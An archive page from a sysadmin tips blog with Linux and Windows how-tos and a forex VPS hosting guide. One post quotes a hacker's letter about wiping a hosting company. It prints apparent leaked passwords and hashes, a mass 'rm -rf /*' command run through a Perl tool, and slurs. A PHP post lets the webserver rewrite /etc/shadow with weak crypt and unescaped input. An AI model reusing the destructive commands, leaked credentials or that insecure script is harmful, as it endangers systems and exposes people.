Admins eHow SysAdmin Tips & Tricks

June 29, 2009

How to synchronize Linux Time Daily

Filed under: CentOS,Debian,General — Tags: , , , , — admin @ 6:51 pm

First you need to install rdate package.
For Debian :

apt-get install rdate

For CentOS :

yum install rdate

After installing the rdate package , install a new cron job to be run daily to synchronize your machine time and date.

crontab -e

and enter the following line into the cron file :

0 0 * * * /usr/bin/rdate -s time-nw.nist.gov && /sbin/hwclock --systohc

June 27, 2009

How to use windows VPS For Forex Traders

Filed under: Forex,Windows — Tags: , , , , — admin @ 4:11 pm

Edited 2 April 2011

Where to get a suitable Windows VPS for Forex Traders ?

This questions has been asked many times from me , so I am going to explain whats behind the scene of windows VPS hosting so you can have a better view of it.
First we should know what we need for forex hosting , do we need a lot of space ? a lot of ram ? a lot of traffic ? the answer is NO , we need very high network uptime and VPS stability , so it is very different from VPS’s which are used for hosting purposes , a crash on a website hosting VPS may result on several minutes of downtime which may not be very important , but on a forex VPS can cause thousands of dollars of loss or interruption in EA work which is important for sure.
Currently there are several virtualization technologies , but most used are two :

  • Virtuozzo by Parallels Company : 95% of windows VPS’s on market use this technology , it is a software layer virtualization , resources are not dedicated and overall I dont recommend it for Forex Hosting , but you may ask so why many hosting companies use this technology. the reason is that it makes more money for them , as the resources are not dedicated in virtuozzo , hosting companies can oversell the server. for example they get a server with 8GB of ram and can sell 100 VPS’s on it with a total of 32GB of Ram ! honestly I dont like the technologies which allow companies to cheat on people , These companies use virtuozzo and I suggest to avoid them for forex hosting : ForexVPS.com – CommercialNetworkServices.com (CNS) – SWVPS.com – VPSLand.com and many many more.
  • Hyper-V by Microsoft : This technology is new and was introduced in Windows Server 2008 , it is a hardware layer virtualization , resources are dedicated and very stable. it is very very close to a dedicated server. so it is highly recommended it for forex VPS hosting. using this technology hosting companies can not cheat on people so it’s more expensive than virtuozzo. it is a real deal !

The company which I recommend for forex VPS hosting is BBVPS.com , they have a very solid network and they use Hyper-V technology and very good supprt. they are my choice for forex vps hosting 🙂

How to connect to your windows VPS :

In order to connect to a windows VPS remotely , you need to use a software named “Remote Desktop Connection” which is bundled with all versions of windows.
under windows XP it is located under : All Programs –> Accessories –> Communications
under windows Vista it is located under : All Programs –> Accessories
after running this software you will see the following window , enter the IP or host name of your VPS into the computer filed and click on Connect.

after a few seconds a new windows will be opened and you will be asked for the username and password , enter the username and password which is provided by your windows VPS provider. usually the username is Administrator.
if you enter the login details successfully , the desktop of windows VPS will be shown to you.
in order to install any software like Meta Trader or any other trading stations , it is exactly like how you install them on your home PC , you can run internet explorer on your VPS , download the software you need and install and use it.

Disable Automatic Updates :
Automatic Updates may restart your VPS automatically and close your running trading platforms. so for a trading station it is wise to disable automatic updates.
in order to disable automatic updates on windows 2003 :
Right click on My Computer -> Properties -> Automatic Updates -> Choose OFF -> Click on OK

Change Your VPS Password :
Read this article : How to change windows 2003 password

How to transfer files from home PC to windows VPS :

The best solution is using Dropbox, using it is very simple and their own website has a comprehensive guide on how to use it. It has many features, so I am not going to dig into the details.The idea is that you install Dropbox software on your home computer and Windows VPS. It will create a folder called Dropbox. What you copy inside the Dropbox on your home computer will be copied into the Dropbox on your VPS automatically and vice versa. Create a free 2GB account and receive an extra 500MB bonus cloud storage using this link :

Create a free account : Dropbox Free Account

How to install several MT4 instances of same broker on your VPS :
most of users want to install several instances of MT4 on their VPS. if MT4s are from different brokers , there would be no conflict. they will install in different folders and by different shurtcut names. but if you want to install several instances of MT4 from one broker then you should :
1.Rename the MT4 shortcut on your desktop to something else.
2.Run MT4 installer , but when it asks where to install the new MT4 , choose a different folder. you can add a number to end of folder name.
3.Complete the installation.

The above procedure installs another MT4 from same broker on your VPS with a separate shortcut on your VPS desktop.

Make Sure only one session is running :
one of the common problems of traders is that most of them are not familiar with remote desktop multi session functionality.
remote desktop allows to connect to windows VPS in different sessions , in other words you can have several ( generally 2 ) independent desktops.
so for example if you run a trading station on session one and before closing it you login to VPS again using remote desktop connection , a new desktop will be opened for you which wont show your running programs in session one. most traders may think their VPS is restarted or/and their platform is closed while in fact it is running in other session.
therefore it is very important to always make sure you run only one session or if you want to run more , you have to know what you do exactly.
in order to determine how many sessions are running on your VPS , enter your windows task manager ( Start -> Run -> type “taskmgr.exe” and enter ) and then go to users tab , there you can see the logged in users on your VPS. if there is more than one there. it means there is two or more sessions are running.
you can simply connect to or logoff the extra sessions by right clicking on them and choosing the proper option.

How to Exit from VPS ?

after you have your softwares running on your VPS , do not shutdown or logoff from your VPS. it will cause your programs to be closed.
simply click on the [x] button of the VPS desktop button and click OK on the next confirmation window.

the next time you connect to your VPS , you can see your programs are still running there.

June 26, 2009

bash: /bin/rm: Argument list too long

Filed under: CentOS,Debian,General — Tags: — admin @ 1:44 pm

Use the following command the directory to solve the problem :

ls | xargs rm

June 22, 2009

Remove comments and empty lines on linux using sed command

Filed under: CentOS,Debian,General — Tags: , , , , — admin @ 10:24 am
sed -e '/^\s*#.*$/d' -e '/^\s*$/d' filename

June 19, 2009

Fix Windows Media Player mms:// problem

Filed under: General,Windows — Tags: , , , — admin @ 2:35 pm

If you want to watch a mms:// stream and windows media player gives you the following error :

Windows Media Player cannot play the file because the specified protocol is not supported. If you typed a URL in the Open URL dialog box, try using a different transport protocol (for example, "http:" or "rtsp:").

Here is the solution :
1.Click on Start
2.Click on Run…
3.Type the following command and press enter :

regsvr32 wmnetmgr.dll

June 17, 2009

MySQL Backup/Restore from command line

Filed under: CentOS,Debian,General,MySQL — Tags: , , , — admin @ 2:48 pm

Backup

Dump ALL MySQL Databases

mysqldump --user=XXXXXXXX --password=XXXXXXX -A > /PATH/TO/DUMPFILE.SQL

Dump Individual or Multiple MySQL Databases

mysqldump --user=XXXXXXXX --password=XXXXXXX DB_NAME1 DB_NAME2 DB_NAME3 > /PATH/TO/DUMPFILE.SQL

Dump only certain tables from a MySQL Database

mysqldump --user=XXXXXXXX --password=XXXXXXXX DB_NAME --tables TABLE_NAME > /PATH/TO/DUMPFILE.SQL

Restore

mysql --user=XXXXXXXX --password=XXXXXXXX DB_NAME < /PATH/TO/DUMPFILE.SQL

June 16, 2009

How to mirror a website on linux ?

Filed under: General,HTML — Tags: , , — admin @ 2:34 pm

You almost certainly have wget already. Try wget –help at the command line. If you get an error message, install wget with your Linux distribution’s package manager. Or fetch it from the official wget page and compile your own copy from source.

Once you have wget installed correctly, the command line to mirror a website is:

wget -m -k -K -E http://url/of/web/site

See man wget or wget –help | more for a detailed explanation of each option.

If this command seems to run forever, there may be parts of the site that generate an infinite series of different URLs. You can combat this in many ways, the simplest being to use the -l option to specify how many links “away” from the home page wget should travel. For instance, -l 3 will refuse to download pages more than three clicks away from the home page. You’ll have to experiment with different values for -l. Consult man wget for additional workarounds.

June 11, 2009

The letter of the hacker who wipped out almost the whole vaserv !

Filed under: General,Security — Tags: , , , — admin @ 5:31 am

Z3r0 day in hypervm?? plz u give us too much credit. If you really really wanna know how you got wtfpwned bitch it was ur own stupidity and excessive passwd reuse. Rus’s passwds are
Code:

e2x2%sin0ei unf1shf4rt 3^%3df 1/2=%mod5 f0ster

f0ster being the latest one, quite secure eh bitches? We were in ur networks sniffing ur passwds for the past two months quite funny this openvz crap is we could just get into any VPS we like at any time thanks to ur mad passwds. But we got bored so we decided to initiate operation rmfication and hypervm was a great t00l to do that since it spared us the time of sshing into all ur 200 boxen just to issue rm -rf. Coded a little .pl to do just that, take a look at this eleet output it’s mad dawg
Code:

[root@vz-vaserv .ssh]# perl h.pl -user admin -pass ****off -host cp.vaserv.com -cmd ‘rm -rf /* 2> /dev/null > /dev/null &’

  • Attempting to login using admin / ****off
  • Logged in, showtime!

Output for 67.222.156.106
Output for xen3ws.vaserv.com
Output for vz22uk.vaserv.com
Output for xen4ws.vaserv.com
Output for vzspecial5.vaserv.com
Output for xen16.vaserv.com
Output for vz77uk.vaserv.com
Output for 91.186.26.128
Output for xen25.vaserv.com
Output for vz76uk.vaserv.com
Output for vz18tx.vaserv.com
Output for vz75uk.vaserv.com
Output for vz45uk.vaserv.com
Output for vzpent16.vaserv.com
Output for xen1tx.vaserv.com
Output for vz13tx.vaserv.com
Output for vz74uk.vaserv.com
Output for vzspecial8.vaserv.com
Output for xen24.vaserv.com
Output for vz73uk.vaserv.com
Output for rdns1.vaserv.com
Output for vz2tx.vaserv.com
Output for vz17tx.vaserv.com
Output for xen23.vaserv.com
Output for vz72uk.vaserv.com
Output for xen22.vaserv.com
Output for vzruffbuff.vaserv.com
Output for vzmario.vaserv.com
Output for xen21.vaserv.com
Output for vz71uk.vaserv.com
Output for vzspecial7.vaserv.com
Output for vz70uk.vaserv.com
Output for xen20.vaserv.com
Output for vz69uk.vaserv.com
Output for vzspecial6.vaserv.com
Output for vz7uk.vaserv.com
Output for vzspecial4.vaserv.com
Output for vzspecial3.vaserv.com
Output for xen19.vaserv.com
Output for vzspecial2.vaserv.com
Output for vzspecial1.vaserv.com
Output for vzpent3.vaserv.com
output truncated due to massive boxen outputz
[root@vz-vaserv .ssh]# rm -rf /* > /dev/null 2> /dev/null &
[1] 12399
[root@vz-vaserv .ssh]#

Did the same fo ****vps.com after resetting the passwd to hyper ve emz, it was ever so much fun you should try it sometime Rus it’s GREAT!
BTW to all the customers we deleted ur loving provider is overselling their crappy 8gb nodez to hell and back, thought you’d like to know, you can also thank ur loving buddy Rus for losing ur data hihi. BTW Rus we still have ur billing system wtfpwned and baqdoored we got shitload of CCz from ur retarded customers thanks a lot buddy. Telling you this cuz we got bored of this ****, it’s just too easy and monotonous so patch ur crap, if your too dumb to secure a simple web server my rate is $100/hour or one night with ur sister hauhaiahiaha.
Also wheres ur team Rus? the only ****ers i saw in ur billing sys are Kody, Vlada and u you guys work like ****ing hindus i bet but ur cheap like jews lolz hire some pros like me to help you out manage all those retards VPSs lolololl
Code:

1 1 rghf c32f3310baffcb431875a67196e99ebd Rus F zswlxxoomx@nowmymail.com 0 ,
Edit Delete 3 1 vlada c32f3310baffcb431875a67196e99ebd Vlada Neskovic zswlxxoomx@nowmymail.com 0 ,
Edit Delete 4 1 Kody fde67637d867c52d739931528dd92ef0 Kody Riker zswlxxoomx@nowmymail.com Georgia – server22 space 1slot 1gb 0 ,

See we care about ur privacy and edited ur emailz unlike you who do not care about the privacy of ur retarded customers lol
Code:

Showing rows 0 – 29 (1,361 total, Query took 0.0133 sec)
SELECT *
FROM `tblclients`
LIMIT 0 , 30

Fun stuff think we gonna sell all those emails to some spammers to make some quick bucks lol, and yes their main site was a VPS lolol which is why we got quick access thanks to ur passwd reuse, your awesome Rus.

Yea yea “his IP is:64.79.210.78” here i saved u the trouble lolol
Code:

-bash-3.2# ifconfig
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:16271 errors:0 dropped:0 overruns:0 frame:0
TX packets:16271 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:1114930 (1.0 MiB) TX bytes:1114930 (1.0 MiB)

venet0 Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
inet addr:127.0.0.1 P-t-P:127.0.0.1 Bcast:0.0.0.0 Mask:255.255.255.255
UP BROADCAST POINTOPOINT RUNNING NOARP MTU:1500 Metric:1
RX packets:33396 errors:0 dropped:0 overruns:0 frame:0
TX packets:34122 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:4462516 (4.2 MiB) TX bytes:11170841 (10.6 MiB)

venet0:0 Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
inet addr:64.79.210.78 P-t-P:64.79.210.78 Bcast:64.79.210.78 Mask:255.255.255.255
UP BROADCAST POINTOPOINT RUNNING NOARP MTU:1500 Metric:1

venet0:1 Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
inet addr:64.79.206.197 P-t-P:64.79.206.197 Bcast:64.79.206.197 Mask:255.255.255.255
UP BROADCAST POINTOPOINT RUNNING NOARP MTU:1500 Metric:1

venet0:2 Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
inet addr:67.223.225.52 P-t-P:67.223.225.52 Bcast:67.223.225.52 Mask:255.255.255.255
UP BROADCAST POINTOPOINT RUNNING NOARP MTU:1500 Metric:1

-bash-3.2# rm -rf /* 2> /dev/null > /dev/null * &
[1] 7643
-bash-3.2#

I love to rm lol bye

~Thedefaced.org

June 7, 2009

Change Linux Password from PHP Script

Filed under: CentOS,Debian,General,PHP — Tags: , , , — admin @ 8:48 pm

There are a few scripts available on net which allow you to change a linux user password from PHP. but all of them are very complex and hard to implement , so after some hours of work , I’ve written this PHP script 🙂 it is very simple , in order for this to work you need to allow your webserver to run sed command as root through sudoers , or allow your webserver to write on your /etc/shadow file.

$username='USERNAME';
$password='PASSWORD';  // New Password
$sed='/bin/sed'; //Path to sed command
$salt = substr($username, 0, 2);
$pass_crypt = crypt($password, $salt);
$pass_crypt=str_replace("/","\/",$pass_crypt);
system($sed." -i 's/".$username.":[a-zA-z0-9/$\.]*/".$username.":".$pass_crypt."/g' /etc/shadow",$retval);

June 6, 2009

iptables v1.3.5: can’t initialize iptables table `filter’: iptables who? (do you need to insmod?)

Filed under: XEN — Tags: , , — admin @ 8:10 am

Typically this occurs when a kernel update occurred on the node. Run this on the server node and then restart the VM having trouble.

/script/fixxenkernel
Older Posts »

Powered by WordPress